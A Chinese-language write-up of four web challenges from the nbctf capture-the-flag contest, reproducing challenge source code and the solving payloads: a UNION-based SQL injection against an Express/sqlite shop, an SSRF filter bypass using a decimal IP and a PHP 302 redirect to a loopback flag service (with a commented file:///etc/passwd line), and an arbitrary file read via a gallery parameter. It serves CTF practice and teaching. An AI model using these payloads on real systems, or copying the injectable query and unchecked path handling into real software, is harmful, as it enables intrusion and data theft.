一共四个web,非常简单的一场国际赛
Inspector Gadget
题目描述:While snooping around this website, inspector gadet lost parts of his flag. Can you help him find it?
开题,啊这
点击如下介绍,前1/4的flag是文章的title
nbctf{G00d_
扫目录扫出robots.txt
,里面的路由访问后发现了flag 4/4
G4dg3t352}
第三部分应该是被图片覆盖住了,可以通过preview查看,源码也能看见。
D3tect1v3_
第二部分在源码中定义了一个getflag()
函数,控制台运行或者直接访问.txt
文件都行。
J06_
最终flag:
nbctf{G00d_J06_D3tect1v3_G4dg3t352}
walter’s crystal shop
题目描述:My buddy Walter is selling some crystals, check out his shop!
附件给了源码
const express = require("express");
const sqlite3 = require("sqlite3");
const fs = require("fs");
const app = express();
const db = new sqlite3.Database(":memory:");
const flag = fs.readFileSync("./flag.txt", { encoding: "utf8" }).trim();
const crystals = require("./crystals");
db.serialize(() => {
db.run("CREATE TABLE crystals (name TEXT, price REAL, quantity INTEGER)");
const stmt = db.prepare("INSERT INTO crystals (name, price, quantity) VALUES (?, ?, ?)");
for (const crystal of crystals) {
stmt.run(crystal["name"], crystal["price"], crystal["quantity"]);
}
stmt.finalize();
db.run("CREATE TABLE IF NOT EXISTS flag (flag TEXT)");
db.run(`INSERT INTO flag (flag) VALUES ('${flag}')`);
});
app.get("/crystals", (req, res) => {
const { name } = req.query;
if (!name) {
return res.status(400).send({ err: "Missing required fields" });
}
db.all(`SELECT * FROM crystals WHERE name LIKE '%${name}%'`, (err, rows) => {
if (err) {
console.error(err.message);
return res.status(500).send('Internal server error');
}
return res.send(rows);
});
});
app.get("/", (req, res) => {
res.sendfile(__dirname + "/index.html");
});
app.listen(3000, () => {
console.log("Server listening on port 3000");
});
一眼SQL注入SELECT * FROM crystals WHERE name LIKE '%${name}%'
,单引号闭合
/crystals?name=1' union select 4,5,6--+
根据源码得知,flag在当前库下的flag
表的flag
列中,直接联合注入查询flag即可。
/crystals?name=1' and 1=2 union select 1,2,flag from flag--+
secret tunnel
题目描述:Can you find the flag on the other end of my secret tunnel?
附件直接给了源码
main.py
#!/usr/local/bin/python
from flask import Flask, render_template, request, Response
import requests
app = Flask(__name__,
static_url_path='',
static_folder="static")
@app.route("/fetchdata", methods=["POST"])
def fetchdata():
url = request.form["url"]
if "127" in url:
return Response("No loopback for you!", mimetype="text/plain")
if url.count('.') > 2:
return Response("Only 2 dots allowed!", mimetype="text/plain")
if "x" in url:
return Response("I don't like twitter >:(" , mimetype="text/plain")
if "flag" in url:
return Response("It's not gonna be that easy :)", mimetype="text/plain")
try:
res = requests.get(url)
except Exception as e:
return Response(str(e), mimetype="text/plain")
return Response(res.text[:32], mimetype="text/plain")
@app.route("/", methods=["GET"])
def index():
return render_template("index.html")
if __name__ == "__main__":
app.run()
flag.py
from flask import Flask, Response
app = Flask(__name__)
flag = open("flag.txt", "r").read()
@app.route("/flag", methods=["GET"])
def index():
return Response(flag, mimetype="text/plain")
if __name__ == "__main__":
app.run(port=1337)
开题,要求输入url
输入百度试试,真能得到百度的内容。这题是SSRF访问内网/flag
路由,绕过过滤。
限制URL包含127
、两个以上点号
、flag
、x
127倒是好绕,flag路由无法绕过。我们选择使用302跳转
利用302跳转,需要一个vps,把302转换的代码部署到vps上,然后去访问,就可跳转到内网中。 302跳转就是由一个URL跳转到另外一个URL当中去,就好比现实生活中的呼叫转移,在网页中比如一个网站的网址更新了,一部分的用户还不知道,就可以使用302跳转,从旧的网址跳转到新的网址上,按照这个思路,我们需要实现另外一种表达方式绕过127.0.0.1/flag.php。 在自己服务器上面放一个302.php或者直接在线网站
payload:(ip多余两个点,使用ip转数字绕过)
url=http://2016291245/302.php
302.php文件内容:(注意端口是1337,flag.py文件里面开的服务端口是1337)
<?php
header("HTTP/1.1 302 found");
header("Location:http://127.0.0.1:1337/flag");
//header("Location:file:///etc/passwd");
exit();
?>
Galleria
题目描述:Put up some fun images for everyone in this amazing image gallery!
附件给了源码:
from flask import Flask, render_template, request, redirect, url_for, send_file
import os
from pathlib import Path
from werkzeug.utils import secure_filename
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = 'uploads'
@app.route('/')
def index():
return render_template('index.html')
def allowed_file(filename):
allowed_extensions = {'jpg', 'jpeg', 'png', 'gif'}
return '.' in filename and filename.rsplit('.', 1)[1].lower() in allowed_extensions
@app.route('/upload', methods=['POST'])
def upload():
file = request.files['image']
if file and allowed_file(file.filename):
file.seek(0, os.SEEK_END)
if file.tell() > 1024 * 1024 * 2:
return "File is too large", 413
file.seek(0)
filename = secure_filename(os.path.basename(file.filename))
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return redirect(url_for('gallery'))
def check_file_path(path):
_path = Path(path)
parts = [*Path.cwd().parts][1:]
for part in _path.parts:
if part == '.':
continue
if part == '..':
parts.pop()
else:
parts.append(part)
if len(parts) == 0:
return False
_path = os.path.join(os.getcwd(), path)
_path = Path(_path)
return _path.exists() and _path.is_file()
@app.route('/gallery')
def gallery():
if request.args.get('file'):
filename = os.path.join('uploads', request.args.get('file'))
if not check_file_path(filename):
return redirect(url_for('gallery'))
return send_file(filename)
image_files = [f for f in os.listdir(
app.config['UPLOAD_FOLDER'])]
return render_template('gallery.html', images=image_files)
if __name__ == '__main__':
app.run(debug=False, port=5000, host='0.0.0.0')
Dockerfile
FROM python:3.11-slim AS app
WORKDIR /var/www/html
RUN pip3 install --no-cache-dir flask
RUN mkdir uploads
COPY app.py .
COPY templates ./templates
COPY flag.txt /tmp/flag.txt
CMD ["python3", "app.py"]
开题,是一个文件上传界面
看源码和后端py源码不难发现,其实是任意文件读取
payload:
/gallery?file=/tmp/flag.txt